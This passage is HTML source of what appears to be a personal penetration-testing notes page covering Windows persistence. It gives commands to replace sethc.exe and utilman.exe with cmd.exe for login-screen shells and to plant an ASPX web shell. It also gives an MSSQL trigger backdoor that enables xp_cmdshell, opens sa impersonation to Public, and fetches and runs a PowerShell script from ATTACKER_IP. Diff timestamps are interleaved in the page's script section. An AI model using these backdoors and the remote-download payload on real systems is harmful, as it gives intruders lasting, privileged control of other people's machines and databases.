icacls C:< span class = "se" > \W< / span > indows< span class = "se" > \S< / span > ystem32< span class = "se" > \s< / span > ethc.exe /grant Administrator:F
< / code > < / pre > < / div >
< ul >
< li > Overwrite with < code > cmd.exe< / code > < / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > copy c:< span class = "se" > \W< / span > indows< span class = "se" > \S< / span > ystem32< span class = "se" > \c< / span > md.exe C:< span class = "se" > \W< / span > indows< span class = "se" > \S< / span > ystem32< span class = "se" > \s< / span > ethc.exe
< / code > < / pre > < / div >
< h3 id = "utilman" > Utilman< / h3 >
< ul >
< li > Ease of access button is clickable at the login screen, it is executed with system privileges < / li >
< li > Take ownership and overwrite with < code > cmd.exe< / code > < / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > takeown /f c:< span class = "se" > \W< / span > indows< span class = "se" > \S< / span > ystem32< span class = "se" > \u< / span > tilman.exe
icacls C:< span class = "se" > \W< / span > indows< span class = "se" > \S< / span > ystem32< span class = "se" > \u< / span > tilman.exe /grant Administrator:F
copy c:< span class = "se" > \W< / span > indows< span class = "se" > \S< / span > ystem32< span class = "se" > \c< / span > md.exe C:< span class = "se" > \W< / span > indows< span class = "se" > \S< / span > ystem32< span class = "se" > \u< / span > tilman.exe
< / code > < / pre > < / div >
< h2 id = "web-shell" > Web Shell< / h2 >
< ul >
< li > Default user is < code > iis apppool\defaultapppool< / code > < / li >
< li >
< p > Has < code > SeImpersonatePrivilege< / code > < / p >
< / li >
< li >
< p > < a href = "https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmdasp.aspx" > Download Web Shell< / a > < / p >
< / li >
< li > Move shell to < code > C:\inetpub\wwwroot< / code > on target< / li >
< li > Get the shell via < code > http://$TARGET_IP/shell.aspx< / code > < / li >
< / ul >
< h2 id = "mssql" > MSSQL< / h2 >
< ul >
< li >
< p > Triggers bind actions such as INSERTs< / p >
< / li >
< li >
< p > Open Microsoft SQL Server Management Studio< / p >
< ul >
< li > Choose windows auth< / li >
< li > < code > New Query< / code > < / li >
< li > Enable Advance Options via< / li >
< / ul >
< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > sp_configure < span class = "s1" > ' Show Advanced Options' < / span > ,1< span class = "p" > ;< / span >
RECONFIGURE< span class = "p" > ;< / span >
GO
sp_configure < span class = "s1" > ' xp_cmdshell' < / span > ,1< span class = "p" > ;< / span >
RECONFIGURE< span class = "p" > ;< / span >
GO
< / code > < / pre > < / div >
< div class = "codehilite" > < pre > < span > < / span > < code > * Grant privileges to all users
< / code > < / pre > < / div >
< div class = "codehilite" > < pre > < span > < / span > < code > USE master
GRANT IMPERSONATE ON LOGIN::sa to < span class = "o" > [< / span > Public< span class = "o" > ]< / span > < span class = "p" > ;< / span >
< / code > < / pre > < / div >
< div class = "codehilite" > < pre > < span > < / span > < code > * Change to DB
< / code > < / pre > < / div >
< div class = "codehilite" > < pre > < span > < / span > < code > USE < DATABASE>
< / code > < / pre > < / div >
< div class = "codehilite" > < pre > < span > < / span > < code > * Create trigger
< / code > < / pre > < / div >
< div class = "codehilite" > < pre > < span > < / span > < code > CREATE TRIGGER < span class = "o" > [< / span > sql_backdoor< span class = "o" > ]< / span >
ON HRDB.dbo.Employees
FOR INSERT AS
EXECUTE AS < span class = "nv" > LOGIN< / span > < span class = "o" > =< / span > < span class = "s1" > ' sa' < / span >
EXEC master..xp_cmdshell < span class = "s1" > ' Powershell -c " IEX(New-Object net.webclient).downloadstring(' ' http://ATTACKER_IP:8000/evilscript.ps1' ' )" ' < / span > < span class = "p" > ;< / span >
< / code > < / pre > < / div >
< ul >
< li > Trigger the trigger by visiting the site which triggers the trigger through a db call< / li >
< / ul >
< / span >
< / div >
< / div >
< div id = "footer" >
< p > < / p >
< center >
© Stefan Friese
< / center >
< / div >
< script >
2022-09-09 15:41:05 +02:00
function linkClick(obj) {
2022-09-02 09:05:59 +02:00
if (obj.open) {
2022-09-09 15:41:05 +02:00
//console.log('open');
2022-09-02 09:05:59 +02:00
if (sessionStorage.getItem(obj.id) & & !(sessionStorage.getItem(obj.id) === "open")) {
sessionStorage.removeItem(obj.id);
}
2022-09-09 15:41:05 +02:00
sessionStorage.setItem(obj.id,"open");
console.log(obj.id);
2022-09-02 09:05:59 +02:00
} else {
2022-09-09 15:41:05 +02:00
//console.log('closed');
sessionStorage.removeItem(obj.id);
}
}
let _keys = Object.keys(sessionStorage);
if (_keys) {
for ( let i = 0; i < _keys.length ; i + + ) {
document.getElementById(_keys[i])['open'] = 'open';
}
}
2022-09-02 09:05:59 +02:00
< / script >
2022-09-09 15:41:05 +02:00
< script async src = "https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.1/MathJax.js?config=TeX-AMS-MML_HTMLorMML" type = "text/javascript" > < / script >
2022-09-02 09:05:59 +02:00
< script type = "text/x-mathjax-config" >
2022-09-09 15:41:05 +02:00
MathJax.Hub.Config({
config: ["MMLorHTML.js"],
jax: ["input/TeX", "output/HTML-CSS", "output/NativeMML"],
extensions: ["MathMenu.js", "MathZoom.js"]
});
< / script >
2022-09-02 09:05:59 +02:00
< / body >
< / html >
